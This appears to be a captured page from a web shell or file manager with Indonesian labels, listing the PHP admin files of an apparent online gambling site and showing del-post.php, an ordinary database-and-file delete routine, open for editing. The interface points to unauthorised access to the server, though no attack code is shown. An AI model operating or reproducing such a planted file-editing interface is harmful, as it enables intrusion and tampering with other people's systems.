PATH: //proc/thread-self/cwd/kerbau/function
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 add-bank.php
↓
X
📄 add-banner.php
↓
X
📄 add-game.php
↓
X
📄 add-member.php
↓
X
📄 add-post.php
↓
X
📄 add-promo.php
↓
X
📄 add-promosid.php
↓
X
📄 add-slide.php
↓
X
📄 add-user.php
↓
X
📄 api_call_scatter.php
↓
X
📄 api_nexusggr.php
↓
X
📄 api_set_rtp.php
↓
X
📄 bank-status.php
↓
X
📄 banner-status.php
↓
X
📄 banner.php
↓
X
📄 del-backup.php
↓
X
📄 del-bank.php
↓
X
📄 del-banner.php
↓
X
📄 del-post.php
↓
X
📄 del-promosid.php
↓
X
📄 del-slide.php
↓
X
📄 del-user.php
↓
X
📄 delete_qris.php
↓
X
📄 edit-member.php
↓
X
📄 edit-user.php
↓
X
📄 end-session.php
↓
X
📄 error_log
↓
X
📄 getwinner.php
↓
X
📄 getwinner_2.php
↓
X
📄 index.php
↓
X
📄 integapi.php
↓
X
📄 minimal.php
↓
X
📄 nexus.php
↓
X
📄 post-chat.php
↓
X
📄 post-status.php
↓
X
📄 proses-group.php
↓
X
📄 proses_topup-manual.php
↓
X
📄 proses_topup.php
↓
X
📄 proses_withdraw.php
↓
X
📄 qris.php
↓
X
📄 reject_topup.php
↓
X
📄 reject_withdraw.php
↓
X
📄 setting.php
↓
X
📄 slide-status.php
↓
X
📄 social.php
↓
X
📄 topup.php
↓
X
📄 update_qris.php
↓
X
📄 user-game.php
↓
X
📄 user-status.php
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: del-post.php
<?php include('../session.php'); // Nonaktifkan error agar tidak ganggu header() error_reporting(0); // Validasi parameter if (!isset($_GET['cuid']) || !isset($_GET['jenis'])) { header('location:../promo.php?notif=7'); // notif=7 parameter tidak lengkap exit(); } $id = intval($_GET['cuid']); $jenis = intval($_GET['jenis']); $upload_dir = "../../upload/"; // Cek data post yang akan dihapus $query = mysqli_query($conn, "SELECT image FROM tb_post WHERE cuid = '$id' LIMIT 1"); if ($query && mysqli_num_rows($query) > 0) { $row = mysqli_fetch_assoc($query); $old_image = $row['image']; // Hapus file gambar lama jika bukan default if (!empty($old_image) && $old_image != 'no-photo.jpg' && file_exists($upload_dir . $old_image)) { unlink($upload_dir . $old_image); } // Hapus data dari database if (mysqli_query($conn, "DELETE FROM tb_post WHERE cuid = '$id'")) { // Redirect ke halaman sesuai jenis if ($jenis == 0) { header('location:../post.php?notif=1'); // berhasil hapus post biasa } else { header('location:../promo.php?notif=1'); // berhasil hapus promo } exit(); } else { // Gagal query if ($jenis == 0) { header('location:../post.php?notif=5'); // error DB } else { header('location:../promo.php?notif=5'); } exit(); } } else { // Data tidak ditemukan if ($jenis == 0) { header('location:../post.php?notif=6'); // tidak ditemukan } else { header('location:../promo.php?notif=6'); } exit(); } ?>
SIMPAN PERUBAHAN